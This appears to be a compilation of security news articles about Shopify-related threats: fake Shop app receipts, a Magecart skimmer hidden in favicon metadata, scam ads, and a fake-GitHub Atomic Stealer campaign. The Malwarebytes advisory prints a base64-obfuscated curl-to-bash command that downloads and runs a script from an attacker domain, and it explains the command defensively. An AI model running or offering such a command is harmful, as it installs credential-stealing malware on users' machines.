shopify

Threat actors are increasingly abusing Shop, the order-tracking app from Shopify, by adding fake purchase receipts in users' order histories to trick them into providing sensitive data or installing remote access software. The Shop digital shopping assistant serves as a centralized platform where users can track orders from multiple online retailers, access receipts and shipping updates, and discover and purchase products from merchants that use Shopify. The app is very popular in North America, where support and purchasing options are more substantial. It has 50 million downloads on Google Play and 7 million ratings in Apple's App Store. According to cybersecurity company Gen Digital, scammers are inserting fake orders that appear alongside legitimate purchases, impersonating brands such as Norton, McAfee, Apple, and PayPal. The threat actor also listed a phone number in the digital receipts that users can call to dispute purchases. However, at the other end is a scammer posing as a support agent. Using social engineering tactics, the fraudster tries to convince the victim to disclose account credentials, payment card details, and temporary authentication codes (OTPs). In some cases, the researchers say that victims are tricked into installing software that grants remote access to the device. Gen Digital researchers note that inserting the fake receipts in the Shop app is a more effective method than using email to deliver fraudulent purchase notifications, a more common technique known as callback phishing. Shop is a legitimate shopping app, and users inherently trust it, so orders that appear there are far more likely to prompt responses from unsuspecting users. However, the researchers say that many of the false receipts contain poor grammar, which is an obvious red flag. Nevertheless, users may miss the mistakes when they see an invoice for a large purchase. Despite the observed wave of fraudulent invoices, it is unclear how they are inserted into the Shop app. The researchers say that Shop can populate orders from multiple sources, including email parsing, account association, and order workflows, but no particular one could be confirmed as the delivery channel for the fraudulent notifications. Gen Digital underlines that they found no evidence that Shop, Shopify, or any of the impersonated companies were compromised. BleepingComputer has reached out to Shopify and a spokesperson said that the company implemented new controls to reduce the fraudulent activity. "We identified bad actors misusing our platform to generate fake order notifications and rolled out new controls that have significantly reduced this activity and improved our ability to detect it going forward." Shopify recommends users that receive a suspicious notification to "avoid calling any phone numbers in it and report the store directly in the Shop app." Until the situation clears up, users who see receipts for orders they didn’t place on Shop are advised not to call the phone number listed on them, but instead to verify any alleged charge directly with their bank. Those who have already contacted the scammers and disclosed sensitive information should immediately reset their account passwords and contact their card issuer for cancellation. Update [June 26]: Article updated with statement from a Shopify spokesperson. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

The Seiko USA website was defaced over the weekend, displaying a message from attackers claiming they stole its Shopify customer database and threatening to leak it unless a ransom is paid. Visitors to the "Press Lounge" section of the site were shown a page titled "HACKED," which replaced normal content with what appeared to be a ransom demand and data breach notification. The message warned that attackers had gained access to the company's Shopify backend and exfiltrated sensitive customer information. "This is an urgent security notification regarding your Shopify store. Your customer database has been compromised," read the defaced webpage. "We have successfully breached your Shopify store's security systems and downloaded the entire customer database." The threat actors claim the stolen data contains the following information: Customer Information: Names, email addresses, phone numbers Order History: Purchase records, transaction details Shipping Data: Addresses, shipping preferences Account Details: Account creation dates, customer notes The attackers warn that the stolen data will be publicly released unless Seiko USA enters into negotiations. As part of the demand, they instructed the company to locate a specific customer account, identified as ID 8069776801871, within the Shopify admin panel. The threat actors say that a contact email address was added to that account profile and should be used to initiate negotiations. The defacement further warned that Seiko USA had 72 hours to contact them or the alleged database would be published. BleepingComputer has not been able to determine what threat actor is behind the attack and whether their claims are legitimate. Seiko USA has not publicly confirmed or responded to BleepingComputer emails about the incident, but has since removed the extortion message from the website. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

When a Magecart payload hides inside the EXIF data of a dynamically loaded third-party favicon, no repository scanner will catch it – because the malicious code never actually touches your repo. As teams adopt Claude Code Security for static analysis, this is the exact technical boundary where AI code scanning stops and client-side runtime execution begins. A detailed analysis of where Claude Code Security stops — and what runtime monitoring covers — is available here. A Magecart skimmer recently found in the wild used a three-stage loader chain to hide its payload inside a favicon's EXIF metadata — never touching the merchant's source code, never appearing in a repository, and executing entirely in the shopper's browser at checkout. The attack raises a question that’s worth getting precise about: which category of tool is actually supposed to catch this? Magecart Lives Outside Your Codebase Magecart‑style attacks are rarely about classic vulnerabilities in your own source code. They are supply chain infiltrations. The malicious JavaScript typically arrives via compromised third‑party assets: tag managers, payment/checkout widgets, analytics tools, CDN‑hosted scripts, and images that are loaded into the browser at runtime. The victim organization didn't write that code, doesn't review it in PRs, and it often doesn't exist in their repository at all. That means a repository‑based static analysis tool, such as Claude Code Security, is therefore limited by design in this scenario, because it can only analyze what's in the repo or what you explicitly feed it. Any skimmer that lives solely in modified third‑party resources or dynamically loaded binaries in production never enters its field of view. That's not a bug in the product; it's a scope mismatch. The Attack Flow: How the Skimmer Hides Here is the initial loader seen on compromised websites: This stub dynamically loads a script from what appears to be a legitimate Shopify CDN URL. The loaded script then constructs the actual malicious URL using obfuscated index arrays: Once decoded, this points to //b4dfa5[.]xyz/favicon.ico. What happens next is where the technique gets interesting: the script retrieves the favicon as binary data, parses the EXIF metadata to extract a malicious string, and executes it via new Function() — the payload lives inside image metadata, so it’s invisible to anything that isn't watching the browser at runtime. The final exfiltration call POSTs stolen payment data silently to an attacker-controlled server: The chain has four properties that matter for the tooling discussion that follows: the initial loader looks like a benign third-party include; the payload is hidden in binary image metadata; exfiltration happens directly from the shopper's browser; and none of it requires touching the merchant's own source code. What Claude Code Security Can and Can't See Claude Code Security is designed to scan codebases, trace data flows, and suggest fixes for vulnerabilities in the code you or your teams write. That makes it useful for securing first‑party applications, but it also defines its blind spots for this attack class. In this scenario, it has no practical visibility into malicious code that’s only injected into third‑party, CDN, or tag‑manager‑hosted scripts that are never stored in your repos. It can’t interrogate payloads hidden in binary assets like favicons or images that are not part of your source tree either. It can’t assess the risk or live reputation of attacker‑controlled domains that only appear at runtime, and real‑time detection of anomalous browser‑side network requests during checkout is also beyond its scope. Where it could contribute (though not as the primary control) would be in cases where your own code contains dynamic script‑injection logic, a pattern that a code analysis tool may flag as risky. And if first‑party code hard‑codes suspicious exfiltration endpoints or uses unsafe data‑collection logic, static analysis can highlight those flows for review. The top four rows are what matter most in a Magecart scenario, and Claude Code Security has no runtime visibility into any of them. The bottom two represent a fundamentally different threat: a developer accidentally writing malicious-looking code in their own repository. Magecart is One Vector, Not the Whole Attack Surface The favicon steganography technique above is sophisticated, but it's one instance of a broader pattern. Web supply chain attacks arrive through several distinct mechanisms, each with the same defining characteristic: the malicious activity happens at runtime, in the browser, through assets the merchant didn't create. See how AI-generated, polymorphic JavaScript is raising the stakes → A few others worth naming: Malicious iframe injection. A compromised third-party widget silently overlays a legitimate checkout form with an attacker-controlled iframe. The user sees the real page, but their keystrokes are sent to the attacker. Nothing in the merchant's repository changes. Pixel tracker abuse. Analytics and advertising pixels — nearly universal on e-commerce sites — are loaded from external CDNs. When those CDNs are compromised or the pixel provider itself is breached, the tracking code running on every page becomes an exfiltration channel. The merchant's code still calls the same legitimate-looking endpoint it always did. DOM-based credential harvesting. A script loaded via a tag manager silently listens for form field events on login or payment pages, capturing data before it's ever submitted. The attack lives entirely in the event handler registered at runtime, not in anything a static scanner would ever see. Each of these follows the same logic as the Magecart case: the threat lives outside the repository, executes in a context that static analysis cannot observe, and targets the gap between what you shipped and what actually runs in your users' browsers. You can find the full breakdown of how each vector maps to tooling coverage — and what a defense-in-depth program looks like across all of them — in the guide linked below. Why Runtime Monitoring Is Critical (But Not the Only Control) For web supply chain threats like this Magecart campaign, continuous monitoring of what actually runs in users' browsers is the primary layer with direct visibility into the attack as it happens. Client‑side runtime monitoring platforms answer a couple of questions that static tools cannot: "What code is executing in my users' browsers right now, and what is it doing?" At the same time, runtime monitoring is only one part of the picture. It works best as part of a defense‑in‑depth strategy. Static analysis and supply‑chain governance reduce the attack surface, while runtime monitoring catches what slips through, and what lives entirely outside your repos. Reframing the "Test": Category, Not Capability Evaluating a repo-centric tool like Claude Code Security against a runtime attack is a category error, not a product failure. It's like expecting a smoke detector to put out fires. It’s the wrong tool for that job, but the ideal one for what it was designed to do. For a fire-safe building, you need smoke detectors and fire extinguishers, and for a safe website, you need Claude Code Security and runtime monitoring in your stack. For Magecart and similar client‑side skimming attacks, you need that runtime window into the browser. Static repository scanning, by itself, simply doesn't see where these attacks truly live. If you're mapping tooling to threat classes at the CISO level, we’ve put together a short guide on how code security and runtime monitoring fit together across the full range of web supply chain vectors — and where each one stops being useful.

Meta on Thursday said it's taking legal action to tackle scams on its platforms by filing lawsuits against what it calls deceptive advertisers based in Brazil, China, and Vietnam. As part of the effort, the advertisers' methods of payment have been suspended, related accounts have been disabled, and the website domain names used to pull off the scams have been blocked. Concurrently, the social media giant said it has also issued cease and desist letters to eight marketing consultants who advertised the ability to bypass its ad policy enforcement systems. This included fake "un-ban" or account restoration services and renting access to trusted accounts so as to help clients bypass its controls. At least three advertisers, two from Brazil and one from China, were found to engage in celeb-bait scams, which often involve misusing the image of well-known figures to trick people into clicking on bogus ads that lead to scam sites. These websites are designed to harvest sensitive data or dupe unsuspecting users into sending money or investing in fake platforms. The three advertisers against whom Meta has filed lawsuits are listed below - Brazil-based Vitor Lourenço de Souza and Milena Luciani Sanchez are being sued for using altered images and voices of celebrities to promote fraudulent healthcare products. Brazil-based B&B Suplementos e Cosméticos Ltda. (Brites Corp), Brites Academia de Treinamento Ltda., Daniel de Brites Macieira Cordeiro, and José Victor de Brites Chaves de Araújo for being part of a scam operation that leveraged synthetic imagery of a prominent physician to advertise healthcare products without regulatory approval and sold courses teaching the same tactics. China-based Shenzhen Yunzheng Technology Co., Ltd for using celeb-bait ads to target people in various countries, including the U.S. and Japan, as part of a fraud scheme designed to lure them into joining investment groups. "To fight celeb-bait scams, we developed protections for celebrities whose images are repeatedly used in these schemes," Meta said. "This program currently protects the images of more than 500,000 celebrities and public figures around the world." In addition, the company noted that it sued Vietnam-based advertiser Lý Văn Lâm for using cloaking techniques to get around its review process. Cloaking refers to an adversarial technique that aims to conceal the true nature of a website linked to an ad in an attempt to fool ad review systems by serving one version of its content during the review and showing an entirely different and malicious content to real users. In this case, the advertiser is said to have used scam ads to offer discounted items from well-known brands in exchange for completing a survey. People who interacted with these ads were taken to phony websites where they were asked to enter credit card information to purchase items that were never delivered. Their credit cards also incurred unauthorized, recurring fees, a practice known as subscription fraud. The development comes months after a Reuters investigation found that 19% of Meta's $18 billion in ad sales in China in 2024 came from ads for scams, illegal gambling, pornography, and other banned content. The report also uncovered agencies that allow businesses to run banned advertisements, prompting the company to put its Badged Partners program under review. In an analysis of 14.5 million ads running on Meta platforms across the E.U. and U.K. over a 23-day period, Gen Digital found that nearly one in three of those ads (about 30.99%) pointed to a scam, phishing, or malware link. "In total, scam ads generated more than 300 million impressions in less than a month," the cybersecurity company said earlier this month. "The activity was highly concentrated, with just 10 advertisers responsible for over 56% of all observed scam ads. Repeated campaign clusters were traced to shared payment and infrastructure linked to China and Hong Kong, indicating organized, industrial-scale operations rather than isolated bad actors." These findings also coincide with the discovery of malicious infrastructure and underground services that have been used to peddle various kinds of scams - Scams have been found to combine malvertising and pig butchering fraud models to defraud victims, primarily those in Japan, by tricking them into clicking on investment-themed ads on social media. These ads redirect victims to websites that prompt them to engage with a supposed expert via messaging apps by scanning a QR code. Once victims are added to one-on-one and group chats with these so-called experts, who are nothing but artificial intelligence (AI)-powered chatbots in some cases, they are persuaded to invest progressively larger amounts of money, only to demand a "release fee" to unlock non-existent profits. More than 23,000 domains within this ecosystem have been discovered. Threat actors are compromising routers to alter DNS settings to use shadow resolvers hosted in Aeza International, a bulletproof hosting company (BPH) sanctioned by the U.S. Government in July 2025. This unauthorized modification is engineered to selectively alter DNS responses associated with Okta and Shopify, allowing the operators to direct users to scam and malware content by means of an HTTP-based traffic distribution system (TDS). A malicious push notification network has been observed using a network of malicious domains to target Android Chrome users all over the world with a steady stream of unwanted push notifications (e.g., "Android infected with malware!" or "System needs a scan") after obtaining permissions in a bid to direct to scam sites and adult content. According to data from Infoblox, Bangladesh, India, Indonesia, and Pakistan represented 50% of all the traffic. A network of over 150 cloned, fake websites has been identified impersonating real law firms based in the U.S. and the U.K., and targeting users looking for legal advice and representation to promote a business impersonation scam. "The sites used the firm's name, branding, and publicly available attorney identities, presenting themselves as legitimate legal and asset-recovery services, offering to help victims recover funds lost to prior fraud," Sygnia said. "The campaign targeted individuals who had already suffered financial fraud." The proliferation of scams, fueled by a booming pig butchering‑as‑a‑service (PBaaS) economy, has not escaped law enforcement's attention, as evidenced by the dismantling of scam compounds in Southeast Asia in recent months. Earlier this month, the Cambodian government promised to crack down and dismantle cyber scam networks operating within its borders, adding that police officials launched 48 operations in the first nine months of 2025 to combat cyber fraud, arrested 168 people, and deported 2,722 people back to their home countries. The ongoing efforts have cut scam activity in half since the start of this year, Senior Minister Chhay Sinarith, chairman of the Secretariat of the Commission for Combating Technology Crimes, was quoted as saying this week. Cambodian Prime Minister Hun Manet also acknowledged that online scam centres operating in the country are damaging its reputation and undermining its economy.

Research analyzing 4,700 leading websites reveals that 64% of third-party applications now access sensitive data without business justification, up from 51% in 2024. Government sector malicious activity spiked from 2% to 12.9%, while 1 in 7 Education sites show active compromise. Specific offenders: Google Tag Manager (8% of violations), Shopify (5%), Facebook Pixel (4%). TL;DR A critical disconnect emerges in the 2026 research: While 81% of security leaders call web attacks a top priority, only 39% have deployed solutions to stop the bleeding. Last year's research found 51% unjustified access. This year it's 64% — and accelerating into public infrastructure. What is Web Exposure? Gartner coined ‘Web Exposure Management’ to describe security risks from third-party applications: analytics, marketing pixels, CDNs, and payment tools. Each connection expands your attack surface; a single vendor compromise can trigger a massive data breach by injecting code to harvest credentials or skim payments. This risk is fueled by a governance gap, where marketing or digital teams deploy apps without IT oversight. The result is chronic misconfiguration, where over-permissioned applications are granted access to sensitive data fields they don't functionally need. This research analyzes exactly what data these third-party apps touch and whether they have a legitimate business justification. Methodology Over 12 months (ending Nov. 2025), Reflectiz analyzed 4,700 leading websites using its proprietary Exposure Rating system. It analyzes the huge number of data points it gathers from scanning millions of websites by considering each risk factor in context, adds them together to create an overall level of risk, and expresses this as a simple grade, from A to F. Findings were supplemented by a survey of 120+ security leaders in the healthcare, finance, and retail sectors. The Unjustified Access Crisis The report highlights a growing governance gap termed "unjustified access": instances where third-party tools are granted access to sensitive data without a demonstrable business need. Access is flagged when a third-party script meets any of these criteria: Irrelevant Function: Reading data unnecessary for its task (e.g., a chatbot accessing payment fields). Zero-ROI Presence: Remaining active on high-risk pages despite 90+ days of zero data transmission. Shadow Deployment: Injection via Tag Managers without security oversight or "least privilege" scoping. Over-Permissioning: Utilizing "Full DOM Access" to scrape entire pages rather than restricted elements. "Organizations are granting sensitive data access by default rather than exception." This trend is most acute in Entertainment and Online Retail, where marketing pressures often override security reviews. The study identifies specific tools driving this exposure: Google Tag Manager: Accounts for 8% of all unjustified sensitive data access. Shopify: 5% of unjustified access. Facebook Pixel: In 4% of analyzed deployments, the pixel was found to be over-permissioned, capturing sensitive input fields it did not require for functional tracking. This governance gap isn't theoretical. A recent survey of 120+ security decision-makers from healthcare, finance, and retail found that 24% of organizations rely solely on general security tools like WAF, leaving them vulnerable to the specific third-party risks this research identified. Another 34% are still evaluating dedicated solutions, meaning 58% of organizations lack proper defenses despite recognizing the threat. Critical Infrastructure Under Siege While the stats show massive spikes in Government and Education breaches, the cause is financial rather than technical. Government Sector: Malicious activity exploded from 2% to 12.9% . Education Sector: Signs of compromised sites quadrupled to 14.3% (1 in 7 sites) Insurance Sector: By contrast, this sector reduced malicious activity by 60%, dropping to just 1.3%. Budget-constrained institutions are losing the supply chain battle. Private sectors with better governance budgets are stabilizing their environments. Survey respondents confirmed this: 34% cited budget constraints as their primary obstacle, while 31% pointed to lack of manpower – a combination that hits public institutions particularly hard. The Awareness-Action Gap Security leader survey findings expose organizational dysfunction: 81% call web attacks a priority → Only 39% deployed solutions 61% still evaluating or using inadequate tools → Despite 51% → 64% unjustified access surge Top obstacles: Budget (34%), regulation (32%), staffing (31%) Result: Awareness without action creates vulnerability at scale. The 42-point gap explains why unjustified access grows 25% year-over-year. The Marketing Department Factor A key driver of this risk is the "Marketing Footprint." The research found that Marketing and Digital departments now drive 43% of all third-party risk exposure, compared to just 19% created by IT. The report found that 47% of apps running in payment frames lack business justification. Marketing teams frequently deploy conversion tools into these sensitive environments without realizing the implications. Security teams recognize this threat: in the practitioner survey, 20% of respondents ranked supply chain attacks and third-party script vulnerabilities among their top three concerns. Yet the organizational structure that would prevent these risks – unified oversight of third-party deployments – remains absent at most organizations. How a Pixel Breach Could Eclipse Polyfill.io With 53.2% ubiquity, the Facebook Pixel is a systemic single point of failure. The risk is not the tool, but unmanaged permissions: "Full DOM Access" and "Automatic Advanced Matching" transform marketing pixels into unintentional data scrapers. The Precedent: A compromise would be 5x larger than the 2024 Polyfill.io attack, exposing data across half the major web simultaneously. Polyfill affected 100K sites over weeks; Facebook Pixel's 53.2% ubiquity means 2.5M+ sites are compromised instantly. The Fix: Context-Aware Deployment. Restrict pixels to landing pages for ROI, but strictly block them from payment and credential frames where they lack business justification. Technical Indicators of Compromise For the first time, this research pinpoints technical signals that predict compromised sites. Compromised sites don't always use malicious apps – they're characterized by "noisier" configurations. Automated Detection Criteria: Recently Registered Domains: Domains registered within the last 6 months appear 3.8x more often on compromised sites. External Connections: Compromised sites connect to 2.7x more external domains (100 vs. 36). Mixed Content: 63% of compromised sites mix HTTPS/HTTP protocols. Benchmarks for Security Leaders Among the 4,700 analyzed sites, 429 demonstrated strong security outcomes. These organizations prove that functionality and security can coexist: ticketweb.uk: Only site meeting all 8 benchmarks (Grade A+) GitHub, PayPal, Yale University: Meeting 7 benchmarks (Grade A) The 8 Security Benchmarks: Leaders vs Average The benchmarks below represent achievable targets based on real-world performance, not theoretical ideals. Leaders maintain ≤8 third-party apps, while average organizations struggle with 15-25. The difference isn't resources – it's governance. Here's how they compare across all eight metrics: Three Quick Wins To Prioritize 1. Audit Trackers Inventory every pixel/tracker: Identify the owner and business justification Remove tools that can't justify data access Priority fixes: Facebook Pixel: Disable 'Automatic Advanced Matching' on PII pages Google Tag Manager: Verify no payment page access Shopify: Review app permissions 2. Implement Automated Monitoring Deploy runtime monitoring for: Sensitive field access detection (cards, SSNs, credentials) Real-time alerts for unauthorized collection CSP violation tracking 3. Address the Marketing-IT Divide Joint CISO + CMO review: Marketing tools in payment frames Facebook Pixel scoping (use Allow/Exclusion Lists) Tracker ROI vs. security risk Download the Full Report Get the complete 43-page analysis, including: ✅ Sector-by-sector risk breakdowns ✅ Complete list of high-risk third-party apps ✅ Year-over-year trend analysis ✅ Security leaders best practices

Cloudflare said the service disruption that led to significant customer outages on Tuesday was not the result of a hacker attack. Outages hit a wide range of online services, including ChatGPT, X, Dropbox, Shopify, and the game League of Legends. The incident has also reportedly caused some disruptions to websites and other digital services associated with critical organizations such as New Jersey Transit, New York City Emergency Management, and the French national railway company SNCF. Cloudflare initially reported seeing a “spike in unusual traffic”, which led some to believe that the outage may be the result of a cyberattack. However, Cloudflare CTO Dane Knecht pointed out on Tuesday morning that it was not an attack. Instead, Knecht said, “a latent bug in a service underpinning our bot mitigation capability started to crash after a routine configuration change we made. That cascaded into a broad degradation to our network and other services.” “That issue, impact it caused, and time to resolution is unacceptable. Work is already underway to make sure it does not happen again, but I know it caused real pain today,” he added. Based on Cloudflare’s status page, the company started investigating the incident at 11:48 UTC, and a fix was announced at 14:42 UTC, but some errors were still seen two hours later. Knecht said Cloudflare would soon share a detailed explanation of why the incident occurred. Cloudflare regularly blocks significant distributed denial-of-service (DDoS) attacks aimed at its customers, including record-breaking assaults. However, it would likely require significant resources and skills for a threat actor to manage to disrupt Cloudflare’s own infrastructure. On the other hand, it would not be surprising for some hackers, particularly hacktivists, to falsely take credit for such outages. Update: Matthew Prince, Co-founder & CEO of Cloudflare, published a blog post with additional details on the incident, adding that it was the worst outage experienced by the company since 2019. Related: TurboMirai-Class ‘Aisuru’ Botnet Blamed for 20+ Tbps DDoS Attacks

Visa’s Trusted Agent Protocol sets new standard for secure agentic transactions Visa unveiled the Trusted Agent Protocol, establishing a foundational framework for agentic commerce that enables secure communication between AI agents and merchants during every step of a transaction. The Trusted Agent Protocol aims to address the challenges facing agent-driven commerce, ushering in a new era where AI can search, compare, and pay on behalf of consumers while ensuring trust between merchants and AI agents. Developed in collaboration with Cloudflare, the release of this protocol reinforces Visa’s commitment to supporting safer and more seamless interactions in the evolving ecosystem of intelligent payments. Over the past year, AI-driven traffic to retail websites in the United States surged over 4,700%, and 85% of shoppers who have used AI to shop say it improved their shopping experience. But as more AI agents browse and buy on behalf of consumers, merchants face new challenges: Managing bot detection systems that can mistakenly block legitimate agentic transactions Supporting agent-driven guest and logged-in checkout Preserving visibility into the consumer behind the agent and payment data The Trusted Agent Protocol is designed to address these challenges by enabling approved agents to securely pass critical information to merchants. This provides a much-needed framework for recognizing trusted agents with commerce intent and distinguishing them from malicious automation and rogue bots. In developing this protocol, Visa has received feedback from early partners including Adyen, Ant International, Checkout.com, Coinbase, CyberSource, Elavon, Fiserv, Microsoft, Nuvei, Shopify, Stripe, and Worldpay. “We believe the entire payments ecosystem has a responsibility to ensure sellers can trust AI agents as much as they trust their best customers and networks,” said Jack Forestell, Chief Product & Strategy Officer, Visa. “For the past year, we’ve worked closely with sellers, issuers and partners to make sure agent-initiated transactions are as seamless and secure as any payment today. Our new agent protocol is focused on creating no-code functionality for merchants to securely identify agents with an intent to buy and provide a better payments and personalized experience for its known users,” Forestell continued. “Securing the future of commerce is a shared responsibility, especially as AI agents begin to act on behalf of consumers,” said Stephanie Cohen, Chief Strategy Officer, Cloudflare. “Our work with Visa on the Trusted Agent Protocol is a vital step in building the necessary guardrails for this new ecosystem.” Supporting merchants In an agentic world, merchants need a way to recognize trusted agents, verify their credentials, and maintain customer relationships without overhauling their systems. Trusted Agent Protocol addresses these challenges with new specifications that use agent-specific cryptographic signatures and includes the following information: Agent intent – An indication that the agent is a trusted agent with an intent to retrieve additional details about, or purchase, a specific product from a merchant. Consumer recognition – Data elements that indicate whether a consumer has an existing account or has previously interacted with the merchant. Payment information – Agents have the option to carry payment data to support a merchant’s preferred checkout or payment method. Built for the future of commerce interoperability While these initial specifications apply to the Visa network in this phase, enabling agents to safely and securely act on a consumer’s behalf requires an open, ecosystem-wide approach. Visa is committed to aligning closely with global standards bodies such as the IETF, OpenID Foundation, and EMVCo, as well as ecosystem partners, to ensure that the Trusted Agent Protocol complements other recently announced protocols, such as the Agentic Commerce Protocol. Visa is also collaborating with Coinbase to align on interoperability with x402. Built upon the foundational HTTP Message Signatures standard and aligned with WebAuthn, the Trusted Agent Protocol enables merchants and agents to establish trust using existing web infrastructure—with minimal user experience (UX) changes required on merchant websites or checkout pages—and can be extended to non-web messaging protocols.

Fake versions of legitimate software are currently circulating on GitHub pages, in a large-scale campaign targeting Mac users. Unfortunately, Malwarebytes for Mac is one of them. Impersonating brands is sadly commonplace, as scammers take advantage of established brand names to target their victims. So this is nothing new, but we always want to warn you about it when we see it happening. In this case, the cybercriminals’ goal is to distribute information stealers. They figured out a while ago that the easiest way to infect Macs is to get users to install the malware themselves, and the Atomic Stealer (aka AMOS) is the go-to information stealer for Macs. The LastPass Threat Intelligence team has posted information about the campaign, which follows a similar pattern for all the impersonated software. Sometimes, the starting point is a sponsored Google ad (did we mention we don’t like them? Oh yes, we did!) that points to GitHub instead of the official page of the developer. But in other, less obvious cases, you may see search results like these: These only came up at the top of the search results when I explicitly searched for “Malwarebytes Github MacOS”, but the cybercriminals are known to have used Search Engine Optimization (SEO) techniques to get their listings higher in the search results. The idea is to get the aspiring user to click on the “GET MALWAREBYTES” button on the dedicated GitHub page. If someone does click that button, they will end up on a download page with instructions on how to install the fake product, which is actually an information stealer. The terminal installation instructions for Malwarebytes for Mac pointed to a recently registered domain, but thankfully our Browser Guard blocked it anyway. Here’s a technical breakdown of the instructions provided to the visitor: /bin/bash -c " " runs a command using the Bash shell on macOS or Linux. Bash is the interpreter for shell commands. The part in quotes uses $( ... ) . Everything inside this gets executed first; its output becomes part of the outer command. $(echo aHR0cHM6Ly9nb3NyZWVzdHIuY29tL2h1bi9pbnN0YWxsLnNo | base64 -d) echo ... | base64 -d decodes the long string. curl -fsSLis a command to download data from the web. The options mean: - -f: Fail silently for HTTP errors.-s: Silent mode (no progress bar).-S: Show errors if -s is used. - -L: Follow redirects. So, putting all this together: The inner command turns into: curl -fsSL https://gosreestr[.]com/hun/install.sh The outer command becomes: /bin/bash -c "$(curl -fsSL https://gosreestr[.]com/hun/install.sh)" So, the complete command tells the system to download a script directly from an external server and immediately execute it using Bash. This is dangerous for the user on many levels. Because there is no prompt or review, the user does not get a chance to see or assess what the downloaded script will do before it runs. It bypasses security because of the use of the command line, it can bypass normal file download protections and execute anything the attacker wants. The files to download have already been taken down, but users that recognize this chain of infection are under advice to thoroughly check their machines for an infection. Impersonated software besides Malwarebytes and LastPass included: 1Password ActiveCampaign After Effects Audacity Auphonic Basecamp BetterSnapTool Biteable Bitpanda Bitsgap Blog2Social Blue Wallet Bonkbot Carbon Copy Cloner Charles Schwab Citibank CMC Markets Confluence Coolors DaVinci Resolve DefiLlama Desktop Clockology Desygner Docker Dropbox E-TRADE EigenLayer Fidelity Fliki Freqtrade Bot Freshworks Gemini GMGN AI Gunbot Hemingway Editor HeyGen Hootsuite HTX Hypertracker IRS KeyBank Lightstream Loopback Maestro Bot Melon Metatrader 5 Metricool Mixpanel Mp3tag Mural NFT Creator NotchNook Notion Obsidian Onlypult Pendle Finance Pepperstone Pipedrive Plus500 Privnote ProWritingAid Publer Raycast Reaper RecurPost Renderforest Rippling Riverside.fm Robinhood Rug AI Sage Intacct Salesloft SentinelOne Shippo Shopify SocialPilot Soundtrap StreamYard SurferSEO Thunderbird TweetDeck Uphold Veeva CRM Viraltag VSCO Vyond Webull Xai Games XSplit Zealy Zencastr Zenefits Zotero But it’s highly likely that there will be more, so don’t see this as an exhaustive list. How to stay safe Both ThreatDown and Malwarebytes for Mac detect and block this Atomic Stealer variant and many others, but it’s better to not download it at all. There are a few golden guidelines on how to stay safe: Never run copy-pasted commands from random pages or forums even if they are on seemingly legitimate GitHub pages, and especially don’t use any that involve curl … | bash or similar combos. Always download software from the official developer pages. If they do not host it themselves, verify the download links with them. Avoid sponsored search results. At best they cost the company you looked for money and at worst you fall prey to imposters. Use real-time anti-malware protection, preferably one that includes a web protection component. If you have scanned your Mac and found the information stealer: Remove any suspicious login items, LaunchAgents, or LaunchDaemons from the Library folders to ensure the malware does not persist after reboot. If any signs of persistent backdoor or unusual activity remain, strongly consider a full clean reinstall of macOS to ensure all malware components are eradicated. Only restore files from known clean backups. Do not reuse backups or Time Machine images that may be tainted by the infostealer. After reinstalling, check for additional rogue extensions, crypto wallet apps, and system modifications. Change all the passwords that were stored on the affected system and enable multi-factor authentication for your important accounts. If all this sounds too difficult for you to do yourself, ask someone or a company you trust to help you—our support team are happy to assist you if you have any concerns. Let’s face it, an incognito window can only do so much. Breaches, dark web trading, credit fraud. Malwarebytes Identity Theft Protection monitors for all of it, alerts you fast, and comes with identity theft insurance.

LastPass is warning of an ongoing, widespread information stealer campaign targeting Apple macOS users through fake GitHub repositories that distribute malware-laced programs masquerading as legitimate tools. "In the case of LastPass, the fraudulent repositories redirected potential victims to a repository that downloads the Atomic infostealer malware," researchers Alex Cox, Mike Kosak, and Stephanie Schneider from the LastPass Threat Intelligence, Mitigation, and Escalation (TIME) team said. Beyond LastPass, some of the popular tools impersonated in the campaign include 1Password, Basecamp, Dropbox, Gemini, Hootsuite, Notion, Obsidian, Robinhood, Salesloft, SentinelOne, Shopify, Thunderbird, and TweetDeck, among others. All the GiHub repositories are designed to target macOS systems. The attacks involve the use of Search Engine Optimization (SEO) poisoning to push links to malicious GitHub sites on top of search results on Bing and Google, which then instruct users to download the program by clicking the "Install LastPass on MacBook" button, redirecting them a GitHub page domain. "The GitHub pages appear to be created by multiple GitHub usernames to get around takedowns," LastPass said. The GitHub page is designed to take the user to another domain that provides ClickFix-style instructions to copy and execute a command on the Terminal app, resulting in the deployment of the Atomic Stealer malware. It's worth noting similar campaigns have been previously leveraged malicious sponsored Google Ads for Homebrew to distribute a multi-stage dropper through a bogus GitHub repository that can run detect virtual machines or analysis environments, and decode and execute system commands to establish connection with a remote server, per security researcher Dhiraj Mishra. In recent weeks, threat actors have been spotted leveraging public GitHub repositories to host malicious payloads and distribute them via Amadey, as well as employ dangling commits corresponding to an official GitHub repository to redirect unwitting users to malicious programs. Update Malwarebytes, in a follow-up report published on September 23, 2025, said the campaign has also employed GitHub repositories to host fake versions of its own software to target Mac users with the Atomic Stealer malware. "Impersonating brands is sadly commonplace, as scammers take advantage of established brand names to target their victims," the company said. "In this case, the cybercriminals' goal is to distribute information stealers."

AI companies like OpenAI and Perplexity like to be the "everything company," and OpenAI's latest ChatGPT feature, "Shopping," makes that obvious. Financial Times recently reported that ChatGPT is testing a new shopping feature where you could buy products directly from the app. When ChatGPT 'converts' sales for merchants, OpenAI gets a percentage of the revenue. This is similar to the existing affiliate program for publishers. FT reports that OpenAI could partner with Shopify to integrate the new Shopping + Checkout experience. This would unlock a new revenue stream for OpenAI. BleepingComputer can independently confirm that the ChatGPT web app is testing toggles related to "Shopping," "Checkout," and "Orders." This is in line with what we've heard from previous reports. It's unclear when ChatGPT's new shopping experience will roll out, but it's being actively tested, and it won't be limited to those with a Plus or Pro subscription for obvious reasons. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report